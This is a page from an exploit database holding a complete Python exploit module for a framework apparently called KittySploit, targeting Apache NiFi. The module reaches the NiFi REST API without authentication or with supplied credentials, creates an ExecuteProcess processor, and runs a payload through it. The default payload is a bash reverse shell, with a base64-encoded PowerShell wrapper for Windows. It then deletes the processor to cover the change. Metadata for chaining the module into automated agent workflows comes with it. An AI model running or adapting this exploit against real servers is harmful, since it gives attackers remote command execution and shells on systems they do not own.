Lucene search
+L

Apache NiFi ExecuteProcess RCE

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated ExecuteProcess processor RCE in Apache NiFi via REST API.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache NiFi unauthenticated ExecuteProcess processor RCE."""

from __future__ import annotations

import base64
import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Apache NiFi ExecuteProcess RCE',
        'description': (
            'Abuses an unauthenticated (or credentialed) Apache NiFi REST API to '
            'create an ExecuteProcess processor in the root process group, run an '
            'OS command, then stop and delete the processor. Requires ExecuteProcess '
            'to be available on the target.'
        ),
        'author': ['Graeme Robinson', 'KittySploit Team'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/latest/org.apache.nifi.processors.standard.ExecuteProcess/',
            'https://github.com/apache/nifi',
        ],
        'tags': [
            'nifi', 'apache', 'processor', 'executeprocess', 'rce', 'unauth', 'misconfig',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 6,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['nifi', 'apache'],
                'endpoint_pattern_any': ['/nifi-api/process-groups/root'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ExecuteProcess processor'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [
                    'scanner/http/apache_nifi_unauth_detect',
                    'scanner/http/apache_nifi_rce_detect',
                ],
            },
        },
    }

    port = OptPort(8080, 'NiFi HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    bearer_token = OptString('', 'Bearer token (if login required)', False, advanced=True)
    username = OptString('', 'Username when login is required', False, advanced=True)
    password = OptString('', 'Password when login is required', False, advanced=True)
    cleanup = OptBool(True, 'Stop and delete processor after exploit', False, advanced=True)
    processor_delay = OptInteger(
        5,
        'Seconds to wait before stopping the processor',
        False,
        advanced=True,
    )
    shell = OptChoice(
        'unix',
        'Command wrapper for ExecuteProcess',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _EXECUTE_PROCESS = 'org.apache.nifi.processors.standard.ExecuteProcess'

    def _api(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _headers(self, token: str | None = None) -> dict:
        headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        tok = str(token or self.bearer_token or '').strip()
        if tok:
            headers['Authorization'] = f'Bearer {tok}'
        return headers

    def _json_request(self, method: str, path: str, body: dict | None = None, token: str | None = None):
        kwargs = {
            'method': method,
            'path': path,
            'headers': self._headers(token),
            'allow_redirects': False,
        }
        if body is not None:
            kwargs['data'] = json.dumps(body)
        return self.http_request(**kwargs)

    def _supports_login(self) -> bool | None:
        r = self.http_request(
            method='GET',
            path=self._api('nifi-api', 'access', 'config'),
            allow_redirects=False,
        )
        if not r:
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        return bool(data.get('supportsLogin'))

    def _login_token(self) -> str | None:
        manual = str(self.bearer_token or '').strip()
        if manual:
            return manual
        user = str(self.username or '').strip()
        pwd = str(self.password or '').strip()
        if not user or not pwd:
            return None
        r = self.http_request(
            method='POST',
            path=self._api('nifi-api', 'access', 'token'),
            data={'username': user, 'password': pwd},
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 201:
            return None
        return (r.text or '').strip() or None

    def _root_process_group(self, token: str | None) -> str | None:
        for path in (
            self._api('nifi-api', 'flow', 'process-groups', 'root'),
            self._api('nifi-api', 'process-groups', 'root'),
        ):
            r = self.http_request(
                method='GET',
                path=path,
                headers=self._headers(token),
                allow_redirects=False,
            )
            if not r or int(r.status_code or 0) != 200:
                continue
            data, _err = parse_json_response(r)
            if not isinstance(data, dict):
                continue
            comp = data.get('processGroupFlow', {}).get('component') or data.get('component') or {}
            pg_id = comp.get('id')
            if pg_id:
                return str(pg_id)
        return None

    def _create_processor(self, token: str | None, group_id: str) -> tuple[str, int] | None:
        body = {
            'revision': {'version': 0},
            'component': {
                'type': self._EXECUTE_PROCESS,
                'position': {'x': 400, 'y': 200},
            },
        }
        r = self._json_request(
            'POST',
            self._api('nifi-api', 'process-groups', group_id, 'processors'),
            body,
            token,
        )
        if not r or int(r.status_code or 0) not in (200, 201):
            return None
        data, _err = parse_json_response(r)
        if not isinstance(data, dict):
            return None
        proc_id = (data.get('component') or {}).get('id')
        version = (data.get('revision') or {}).get('version', 1)
        if not proc_id:
            return None
        return str(proc_id), int(version)

    def _build_command(self, payload_cmd: str) -> tuple[str, str]:
        wrapper = str(self.shell or 'unix').strip().lower()
        if wrapper == 'windows':
            enc = base64.b64encode(f'cmd /C --% {payload_cmd}'.encode('utf-16le')).decode()
            return 'powershell.exe', f'-e {enc}'
        return 'bash', f'-c "{payload_cmd}"'

    def _run_processor(
        self, token: str | None, proc_id: str, version: int, command: str, arguments: str,
    ) -> bool:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {
                'id': proc_id,
                'state': 'RUNNING',
                'config': {
                    'properties': {
                        'Command': command,
                        'Command Arguments': arguments,
                    },
                    'schedulingPeriod': '3600 sec',
                    'autoTerminatedRelationships': ['success'],
                },
            },
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        return bool(r and int(r.status_code or 0) == 200)

    def _stop_processor(self, token: str | None, proc_id: str, version: int) -> int:
        body = {
            'revision': {'clientId': 'kittysploit', 'version': version},
            'component': {'id': proc_id, 'state': 'STOPPED'},
        }
        r = self._json_request(
            'PUT',
            self._api('nifi-api', 'processors', proc_id),
            body,
            token,
        )
        if r and int(r.status_code or 0) == 200:
            data, _ = parse_json_response(r)
            if isinstance(data, dict):
                return int((data.get('revision') or {}).get('version', version + 1))
        return version + 1

    def _delete_processor(self, token: str | None, proc_id: str, version: int) -> None:
        self.http_request(
            method='DELETE',
            path=self._api('nifi-api', 'processors', proc_id),
            headers=self._headers(token),
            params={'version': str(version)},
            allow_redirects=False,
        )

    def check(self):
        login_required = self._supports_login()
        if login_required is None:
            return {'vulnerable': False, 'reason': 'NiFi API unreachable', 'confidence': 'low'}
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                return {
                    'vulnerable': False,
                    'reason': 'NiFi requires login but no valid credentials/token supplied',
                    'confidence': 'medium',
                }
        group = self._root_process_group(token)
        if not group:
            return {
                'vulnerable': False,
                'reason': 'Root process group not accessible',
                'confidence': 'medium',
            }
        return {
            'vulnerable': True,
            'reason': 'NiFi API allows process group access (ExecuteProcess may be available)',
            'confidence': 'medium' if login_required else 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('Apache NiFi ExecuteProcess RCE')
        login_required = self._supports_login()
        token = None
        if login_required:
            token = self._login_token()
            if not token:
                print_error('Authentication required — set bearer_token or username/password')
                return False
            print_info('Authenticated to NiFi API')
        else:
            print_info('NiFi API does not require login')

        group_id = self._root_process_group(token)
        if not group_id:
            print_error('Could not read root process group')
            self.not_vulnerable()
            return False

        created = self._create_processor(token, group_id)
        if not created:
            print_error('Failed to create ExecuteProcess processor')
            self.not_vulnerable()
            return False
        proc_id, version = created
        print_success(f'Created processor {proc_id}')

        command, arguments = self._build_command(payload_cmd)
        try:
            if not self._run_processor(token, proc_id, version, command, arguments):
                print_error('Failed to start processor with payload')
                return False
            print_success('Processor started — check listener for session')
            delay = max(int(self.processor_delay or 5), 2)
            print_status(f'Waiting {delay}s for command execution...')
            time.sleep(delay)
            self.vulnerable()
            return True
        finally:
            if bool(self.cleanup):
                stop_ver = self._stop_processor(token, proc_id, version + 1)
                self._delete_processor(token, proc_id, stop_ver)
                print_info('Processor stopped and deleted')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 06:36Current
5.8Medium risk
Vulners AI Score5.8
1